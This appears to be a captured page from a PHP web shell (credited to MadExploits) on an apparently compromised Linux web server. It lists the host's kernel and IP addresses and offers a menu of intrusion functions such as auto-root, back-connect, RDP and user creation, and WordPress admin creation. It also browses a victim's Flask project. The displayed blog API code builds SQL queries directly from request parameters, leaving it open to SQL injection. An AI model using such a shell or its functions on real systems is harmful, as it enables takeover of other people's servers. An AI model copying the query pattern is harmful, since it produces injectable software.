Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
explore
[ DIR ]
drwxr-xr-x
mara1_model
[ DIR ]
drwxr-xr-x
nltk_data
[ DIR ]
drwxr-xr-x
pythainlp_data
[ DIR ]
drwxr-xr-x
runs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
yolo8
[ DIR ]
drwxr-xr-x
. htaccess
417
B
-rwxr-xr-x
.htaccess
197
B
-rwxr-xr-x
app.log
66
B
-rwxr-xr-x
app.py
16.16
KB
-rwxr-xr-x
app.wsgi
568
B
-rwxr-xr-x
blog_ttt_website.py
5.07
KB
-rwxr-xr-x
config.py
485
B
-rwxr-xr-x
content_content_image_ram.py
11.07
KB
-rw-r--r--
content_main_ram.py
15.99
KB
-rw-r--r--
detect.py
8.16
KB
-rwxr-xr-x
explore.py
11.4
KB
-rw-r--r--
json_logfile.json
18
B
-rwxr-xr-x
keywords.json
203
B
-rw-r--r--
locations.json
299
B
-rw-r--r--
read_virus_files_php.py
2.6
KB
-rwxr-xr-x
table.csv
56.2
KB
-rw-r--r--
travel.py
6.89
KB
-rw-r--r--
travel_action.py
10.72
KB
-rw-r--r--
travel_mara1.py
12.6
KB
-rw-r--r--
travel_nltk_base.py
5.21
KB
-rw-r--r--
travel_pythainlp.py
9.37
KB
-rw-r--r--
udo systemctl daemon-reload
1.07
KB
-rwxr-xr-x
udo systemctl restart apache2
1.25
KB
-rwxr-xr-x
your_flask_service.log
1.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blog_ttt_website.py
#/var/www/afra/py.afaa.website/blog_ttt_website.py # python3 blog_ttt_website.py # Existing imports and setup from flask import Flask, jsonify, request from flask_cors import CORS import mysql.connector from config import DB_CONFIG import json import re from urllib.parse import unquote from datetime import datetime app = Flask(__name__) CORS(app) # Database query function def query_db(query): with mysql.connector.connect(**DB_CONFIG) as conn: with conn.cursor(dictionary=True) as cursor: cursor.execute(query) results = cursor.fetchall() return results def get_game_posts_from_db(): offset = request.args.get('offset', 0, type=int) limit = request.args.get('limit', None, type=int) if limit is None or limit <= 0: limit = 30 # Default limit to 30 if not specified or if limit is invalid order_by = request.args.get('order_by', 'ID') order_direction = request.args.get('order_direction', 'DESC').upper() search_id = request.args.get('ID', default=None, type=int) search_title = request.args.get('title', None) search_content = request.args.get('content', None) search_modified_date = request.args.get('modified', None) # Base query conditions query_conditions = ["post_status = 'publish'"] if search_id is not None: query_conditions.append(f"ID = {search_id}") # Modify conditions for title and content if search_title and search_content: # When both title and content are provided, use OR between them query_conditions.append(f"(post_title LIKE '%{search_title}%' OR post_content LIKE '%{search_content}%')") else: if search_title: query_conditions.append(f"post_title LIKE '%{search_title}%'") if search_content: query_conditions.append(f"post_content LIKE '%{search_content}%'") if search_modified_date: if re.match(r"^\d{4}-\d{2}-\d{2}$", search_modified_date): query_conditions.append(f"DATE(post_modified) = '{search_modified_date}'") elif re.match(r"^\d{4}$", search_modified_date): query_conditions.append(f"YEAR(post_modified) = {search_modified_date}") # Query for the total count of matching posts count_query = f""" SELECT COUNT(*) as total_count FROM wp_posts WHERE {' AND '.join(query_conditions)} """ total_count = query_db(count_query)[0]['total_count'] # Query for fetching the posts post_query = f""" SELECT wp_posts.ID, post_content, post_title, post_excerpt, post_status, post_name, post_modified, post_modified_gmt, post_parent, post_type, post_mime_type FROM wp_posts WHERE {' AND '.join(query_conditions)} ORDER BY {order_by} {order_direction} LIMIT {limit} OFFSET {offset} """ posts = query_db(post_query) # Process each post to clean and retrieve images for post in posts: post['post_name'] = unquote(post['post_name']) post['post_content'] = post['post_content'].replace('\r', ' ').replace('\n', ' ').replace('\t', ' ') post['post_content'] = re.sub(r'\sdata-sourcepos="[^"]+"', '', post['post_content']) image_query = f""" SELECT ID, post_title, post_name, post_parent, guid, post_type, post_mime_type FROM wp_posts WHERE post_type = 'attachment' AND post_parent = {post['ID']} ORDER BY ID DESC """ images = query_db(image_query) if not images: fallback_image_query = f""" SELECT id, object_id AS post_parent, open_graph_image AS guid, primary_focus_keyword AS post_name FROM wp_yoast_indexable WHERE object_id = {post['ID']} """ fallback_images = query_db(fallback_image_query) post['images'] = fallback_images else: for image in images: image['post_name'] = unquote(image['post_name']) post['images'] = images return {'posts': posts, 'total_count': total_count} # Original route for game posts @app.route('/blog/api/game', methods=['GET']) def flask_get_game_posts(): posts = get_game_posts_from_db() return jsonify(posts) # New route for AI GPT with modifications for limit and latest modified date @app.route('/blog/api/gpt', methods=['GET']) def flask_get_gpt_posts(): # Override default limit to 5 request.args = request.args.copy() # Make the args mutable request.args['limit'] = 5 # Fetch the latest post modification date latest_modified_query = "SELECT MAX(DATE(post_modified)) as latest_modified FROM wp_posts WHERE post_status = 'publish'" latest_modified = query_db(latest_modified_query)[0]['latest_modified'] # If there is a latest modified date, set it in the request arguments if latest_modified: request.args['modified'] = latest_modified.strftime('%Y-%m-%d') # Call the main game post function posts = get_game_posts_from_db() return jsonify(posts) # Run the Flask app if __name__ == "__main__": app.run(host='0.0.0.0', port=421)
Close